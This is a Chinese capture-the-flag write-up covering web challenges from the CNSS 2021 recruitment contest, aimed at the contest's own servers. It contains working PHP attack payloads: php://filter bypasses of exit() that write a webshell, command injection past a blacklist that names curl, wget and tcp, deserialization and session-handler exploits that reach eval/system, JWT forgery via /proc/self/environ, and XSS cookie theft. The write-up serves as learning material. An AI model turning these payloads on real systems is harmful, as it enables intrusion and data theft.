cnss2021-web部分
还差4题web没写~还是差点了捏
比赛大概是31号结束的?后面还想等wp复现捏,可惜变成难忘今宵啦
21号在群里听师傅们提到cnss,求来了链接CNSS Recruit 2021
发现很多学校的招新赛都挺有意思的,也能发现自己平时没注意到的知识点
打ctf还是得多做题,多和师傅们交流~
🙋 我一定要试试 Web 方向
Web 方向做题须知
- Web 题目为每道题目描述里给出的链接地址所指向的 Web 应用
- flag 格式统一为 cnss{} 花括号中间为有意义的字符串,通常会以 _ 区分单个单词(CNSS 大小写形式都有可能,括号内包裹的内容一般会经过 leet 处理)
- hint 意为提示,是出题人给出的解题提示,并不要求你在 flag 提交处作答
- 当你成功得到 flag 时,flag 一定是以 cnss{} 的形式显示的 所以不需要自己手动添加 cnss{} (如果有那你找到的一定不是 flag
做题要求
- 要会看 HTML 源码
- 能读懂简单的 PHP 代码
- 懂一点点 HTTP 报文
- 学会使用 Burpsuite 的 Repeater, Intruder 模块
常用工具
- Burp Suite
- Metasploit
- AntSword
- F12 开发者工具,插件如 Hackbar 等
PS: 浏览器请使用 Firefox/Chrome
学习参考
- 学会使用 搜索引擎(尤指 Google) 搜索关键字以找到自己需要的学习资料
- 从别人的 博客文章/官方文档 中学习
- 书籍和视频中学到的大多是系统全面的知识,但是相应的效率便低了
- 针对性学习和系统性学习,需要每个人结合自身情况进行均衡
CNSS{VVeb_i5_v3ry_1nt3re5ting}
[👶Baby] Signin
改用post传参得到源码
<?php
error_reporting(0);
require_once("flag.php");
if($_SERVER['REQUEST_METHOD'] !=='POST'){
    die("Please Change Your Method!");
    exit();
}else{
    if(!isset($_POST["CNSS"])){
        show_source(__FILE__);
    }
    else if($_POST["CNSS"] === "join"){
        if((isset($_GET["web"])) && (($_GET["web"]) === "like")){
            setcookie("flag","0");
            if($_COOKIE['flag'] === '1'){
                echo $flag;
            }else{show_source(__FILE__);}
        }else{
            show_source(__FILE__);
        }
    }
}

[👶Baby]D3buger
禁用右键和f12等等一系列操作
先找个页面开f12,再hackbar访问就行
flag在js里, 彩蛋是Never Gonna Give You Up - Rick Astley_bilibili
view-source:http://81.68.109.40:30001/js/fuck.js

[👶Baby]GitHacker
感谢捷宝的贡献
Git_Extract:gakki429/Git_Extract: 提取远程 git 泄露或本地 git 的工具 (github.com)
把.git目录弄下来

执行fsck(文件系统检测)命令
git fsck --lost-found
这个命令会把悬空的blob恢复文件列举出来

这时就可以通过git show 11b2d674cc83c17990150726b4653bfe3c78c807 命令查看当前哈希值对象的具体内容

[😃Easy]更坑的数学题
import requests
import re
url = 'http://81.68.109.40:30005/'
s = requests.session()
r = s.get(url)
a = eval(re.search(r'(\d+[=\-*])+\d+', r.text).group())
print(s.post(url, data={'res': a}).text)
[😃Easy]Ezp#p
<?php
    error_reporting(0);
    require_once("flag.php");
    show_source(__FILE__);
    $pass = '0e0';
    $md55 = $_COOKIE['token'];
    $md55 = md5($md55);
    if(md5($md55) == $pass){
        if(isset($_GET['query'])){
            $before = $_GET['query'];
            $med = 'filter';
            $after = preg_replace(
                "/$med/", '', $before
            );
            if($after === $med){
                echo $flag1;
            }
        }
        $verify = $_GET['verify'];
    }
    extract($_POST);
    
    if(md5($verify) === $pass){
        echo $$verify;
    }
?>
poc
<?php
$pass = '0e0';
for ($i=0;$i<=100000000000;$i++){
    $md55 = $i;
    if(md5(md5($md55)) == $pass){
        echo $i;
        exit(0);
    }
}

flag1:找md5(md5(xxx))为0exxx的值,这里给一个179122048,filter双写绕过
flag2:利用extract变量覆盖的特性,传入verify为flag2,pass为对应的md5值即可

[😃Easy]China Flag
如下,再次感谢捷宝作出的贡献,我还是浮躁了,整到xff就没想着尝试了==

[😮Mid]太极掌门人
<?php
    error_reporting(0);
    show_source(__FILE__);
    function deleteDir($path) {
        if (is_dir($path)) {
            $dirs = scandir($path);
            foreach ($dirs as $dir) {
                if ($dir != '.' && $dir != '..') {
                    $sonDir = $path.'/'.$dir;
                    if (is_dir($sonDir)) {
                        deleteDir($sonDir);
                        @rmdir($sonDir);
                    } elseif ($sonDir !== './index.php'
                            && $sonDir !== './flag.php') {
                        @unlink($sonDir);
                    }
                }
            }
            @rmdir($path);
        }
    }
    $devil = '<?php exit;?>';
    $goods = $_POST['goods'];
    file_put_contents($_POST['train'], $devil . $goods);
    sleep(1);
    deleteDir('.');
?>
参考文章:
- <?php exit;?>绕过 - cooyf's blog
- 谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)
- 探索php伪协议以及死亡绕过 - FreeBuf网络安全行业门户
解法1:base64编码与解码
原理是base64不会解码< > ? ; 空格这些,那么把代码base64编码,再用php://filter协议写入就行
ps:注意base64是以4byte一组解码,<?php exit;?>除了< > ? ; 空格这些,一共7个字符,那么给它随便加一个a就行
payload:
goods=aPD9waHAgc3lzdGVtKCJjYXQgLi9mbGFnLnBocCIpOw==&train=php://filter/write=convert.base64-decode/resource=a.php
如上生成的代码就会是:
<?php exit;?>aPD9waHAgc3lzdGVtKCJjYXQgLi9mbGFnLnBocCIpOw==
然后base64解码后写入a.php里
(我写的是<?php system("cat ./flag.php");)
解法2:strip_tags()字符串操作函数
strip_tags (PHP 4, PHP 5, PHP 7, PHP 8)
strip_tags — 从字符串中去除 HTML 和 PHP 标记
<?php exit; ?>实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。
跟着P神的文章测试一下:
<?php 
echo readfile('php://filter/read=string.strip_tags/resource=php://input');
可以看到传入的<?php exit; ?>已经被去除了
但我们要写入的一句话也是php代码,如果使用了strip_tags,一句话同样会被去除掉
不过php://filter允许使用多个过滤器,只需要使用|间隔开来就好
先用strip_tags去除<?php exit; ?>,再用base64-decode解码咱们传入的base64编码后的一句话
payload:
goods=PD9waHAgc3lzdGVtKCJjYXQgLi9mbGFnLnBocCIpOw==&train=php://filter/write=string.strip_tags|convert.base64-decode/resource=a.php
解法3:string.rot13
<?php exit; ?>在经过rot13编码后会变成<?cuc rkvg; ?>, 在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了:
用的是过滤器string.rot13,
需要php不开启短标签(short_open_tag)即php.ini中short_open_tag = Off
goods=PD9waHAgc3lzdGVtKCJjYXQgLi9mbGFnLnBocCIpOw==&train=php://filter/write=string.rot13/resource=a.php
拿flag
因为会删掉当前目录下的文件,所以得条件竞争访问,上面的payload都可以用
post,然后bp抓包,爆破模块疯狂重发包~

访问a.php,查看源代码

[😮Mid]BlackPage
<!-- \<\?phps
$file = $_GET["file"];
$blacklist = "(**blacklist**)";
if (preg_match("/".$blacklist."/is",$file) == 1){
  exit("Nooo,You can't read it.");
}else{
  include $file;
}
//你能读到 mybackdoor.php 吗?
---->
伪协议读mybackdoor.php
http://121.41.7.149:65002/?file=php://filter/convert.base64-encode/resource=mybackdoor.php
得到mybackdoor.php源码:
<?php
error_reporting(0);
function blacklist($cmd){
  $filter = "(\\<|\\>|Fl4g|php|curl| |0x|\\\\|python|gcc|less|root|etc|pass|http|ftp|cd|tcp|udp|cat|×|flag|ph|hp|wget|type|ty|\\$\\{IFS\\}|index|\\*)";
  if (preg_match("/".$filter."/is",$cmd)==1){  
      exit('Go out! This black page does not belong to you!');
  }
  else{
    system($cmd);
  }
}
blacklist($_GET['cmd']);
?>
''绕过关键字过滤、%09(制表符)绕过空格、占位符?匹配
payload:
http://121.41.7.149:65002/mybackdoor.php?cmd=ca''t%09/Fl??????????
[😯Mid]bestLanguage
<?php
error_reporting(0);
class superGate{
    public $gay = true;
    function __destruct(){
        echo file_get_contents("/flag");
        die();
    }
}
$p = $_GET['p'];
$honey = unserialize($p);
if(preg_match("/superGate/i", serialize($honey))){
    echo "no";
    throw Exception();
}
show_source(__FILE__);
superGate是肯定要的--,但是会触发throw Exception();抛出异常从而停止执行代码
先本地测试一下,报错是调用了未定义的函数 Exception()

那么定义一个就行--
poc:
<?php
class superGate{
    public $gay = true;
    function __construct(){
        $this->gay = new Exception("666");
    }
}
$a = new superGate();
echo serialize($a);

[😮Mid]To_be_Admin
/read接口可以读文件,/admin判断用户
一开始是想jwt的,但是爆破爆不出来密钥,猜测是得read读取一些什么
突破口是,捷宝搜到说可以读环境变量/proc/self/environ
http://121.41.7.149:65003/read?file=/proc/self/environ
发现有个key,作为密钥,jwtio改写一下就可



[😮Mid]To_be_Admin_Again
# index.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
highlight_file(__FILE__);
class CNSS{
    private $username = 'guest';
    private $code = 'phpinfo();';
    public function __construct(){
        $this->username = $username;
        $this->code = $cmd;
    }
    function __wakeup(){
        $this->username = 'guest';
    }
    function __destruct(){
        if($this->username === 'admin'){
            eval($this->code);
        }
    }
}
// You must be interested in save.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
highlight_file(__FILE__);
if (isset($_GET['cnss'])) {
    $_SESSION['cnss'] = $_GET['cnss'];
}
逻辑很简单,绕过__wakeup使得username为admin即可
主要利用点在于:两个文件的session.serializehandler不同引起的反序列化: 带你走进PHP session反序列化漏洞 - 先知社区 (aliyun.com) [深入浅析PHP的session反序列化漏洞问题_php实例脚本之家 (jb51.net)](https://www.jb51.net/article/116246.htm)
步骤如下:
poc:
<?php
class CNSS{
    private $username = 'admin';
    private $code = 'system("cat /flag");';
}
$a = new CNSS();
echo urlencode('|'.serialize($a));
- 生成payload,记得改属性数目来绕过__wakeup
- 访问save.php借助cnss传payload,让网页获得seesion数据
- 再从save.php跳转至index.php,确保session不变,由于引擎不同就会触发反序列化,然后再触发__destruct()方法执行eval()

payload:
http://121.41.7.149:65004/save.php?cnss=%7CO%3A4%3A%22CNSS%22%3A3%3A%7Bs%3A14%3A%22%00CNSS%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A10%3A%22%00CNSS%00code%22%3Bs%3A20%3A%22system%28%22cat+%2Fflag%22%29%3B%22%3B%7D
然后再访问:即可触发
http://121.41.7.149:65004/
[😮Mid]To_be_Admin_Again_and_Again
明显的xss
xss平台弹cookie过来就可以

验证码用脚本跑:
import hashlib
l = 'qwertyuiopasdfghjklzxcvbnm1234567890'
for i in l:
    for j in l:
        for k in l:
            for m in l:
                for n in l:
                    for o in l:
                        for p in l:
                            for q in l:
                                f = i + j + k + m + n + o + p + q
                                sha = hashlib.sha256(f.encode(encoding='UTF-8')).hexdigest()
                                if sha[:6] == 'bacbd7':
                                    print(f)
                                    print(sha)
                                    exit(0)
拿到cookie后访问/admin即可
